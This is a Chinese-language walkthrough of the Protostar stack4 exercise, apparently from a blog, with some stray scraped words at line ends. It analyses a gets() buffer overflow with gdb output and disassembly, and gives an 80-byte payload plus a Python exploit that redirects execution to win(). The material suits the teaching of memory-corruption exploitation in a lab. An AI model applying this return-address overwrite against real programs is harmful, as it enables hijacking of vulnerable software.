此次練習只有buffer一個變量,因此不能再經過覆蓋變量值應該程序執行邏輯了,此次咱們能夠直接覆蓋main函數的返回地址,那麼它的返回地址在哪裏呢?python
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 void win() 7 { 8 printf("code flow successfully changed\n"); 9 } 10 11 int main(int argc, char **argv) 12 { 13 char buffer[64]; 14 15 gets(buffer); 16 }
能夠看到程序中有一個win函數,但並無直接調用,咱們的目的確定是讓程序的執行流程進入win函數。main函數中有buffer一個變量,在經過gets函數獲取用戶輸入賦值給buffer變量以後,函數就執行結束了,因此這裏咱們須要仔細分析一下棧中的內容分佈,若是輸入內容大於64字節,咱們會覆蓋什麼區域?回憶在函數調用時須要執行的彙編指令,以main函數爲例:sass
1 push argv 2 push argc 3 call main 4 main: 5 push ebp 6 mov ebp, esp 7 爲局部變量分配空間
因此棧中數據的分佈應該是:函數
1 argv 2 argc 3 ret address 4 ebp 5 局部變量
下面經過調試程序,驗證一下咱們的分析spa
1 (gdb) b 16 2 Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16. 3 (gdb) r 4 Starting program: /opt/protostar/bin/stack4 5 abcd 6 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16 8 16 stack4/stack4.c: No such file or directory. 9 in stack4/stack4.c 10 (gdb) print $ebp 11 $1 = (void *) 0xbffffcb8 12 (gdb) print $esp 13 $2 = (void *) 0xbffffc60 14 (gdb) x/32xw $esp 15 0xbffffc60: 0xbffffc70 0xb7ec6165 0xbffffc78 0xb7eada75 16 0xbffffc70: 0x64636261 0x08049500 0xbffffc88 0x080482e8 17 0xbffffc80: 0xb7ff1040 0x080495ec 0xbffffcb8 0x08048449 18 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffcb8 19 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4 20 0xbffffcb0: 0x08048430 0x00000000 0xbffffd38 0xb7eadc76 21 0xbffffcc0: 0x00000001 0xbffffd64 0xbffffd6c 0xb7fe1848 22 0xbffffcd0: 0xbffffd20 0xffffffff 0xb7ffeff4 0x0804824b 23 (gdb) info address win 24 Symbol "win" is a function at address 0x80483f4.
標紅的部分是buffer的內容。調試
從調試的輸出能夠看到argc=1, argv=0xbffffd64,正是0xbffffcc0那裏的內容,因此綠字是main函數的返回地址,橙字是上一個棧幀的ebp值。可是爲何0xbffffcb0那裏還有八個字節的內容呢?咱們能夠看一下main函數的反彙編代碼:code
1 (gdb) disass main 2 Dump of assembler code for function main: 3 0x08048408 <main+0>: push %ebp 4 0x08048409 <main+1>: mov %esp,%ebp 5 0x0804840b <main+3>: and $0xfffffff0,%esp 6 0x0804840e <main+6>: sub $0x50,%esp 7 0x08048411 <main+9>: lea 0x10(%esp),%eax 8 0x08048415 <main+13>: mov %eax,(%esp) 9 0x08048418 <main+16>: call 0x804830c <gets@plt> 10 0x0804841d <main+21>: leave 11 0x0804841e <main+22>: ret 12 End of assembler dump.
能夠看到在0x0804840b處的代碼,對esp的值進行了一次對齊,正是此次對齊讓棧中多出了8字節的數據。blog
因此,若是想要覆蓋main函數的返回地址,使得程序的執行邏輯進入win函數,咱們須要構造80字節的Payload,且payload以0xf4830408結尾。get
知道payload怎麼寫以後,exploit就很好編寫了,直接給出代碼:源碼
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack4", stdin=subprocess.PIPE) 3 payload = "61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161f4830408" 4 proc.communicate(payload.decode("hex"))
輸出結果:string
$ python exploit4.py
code flow successfully changed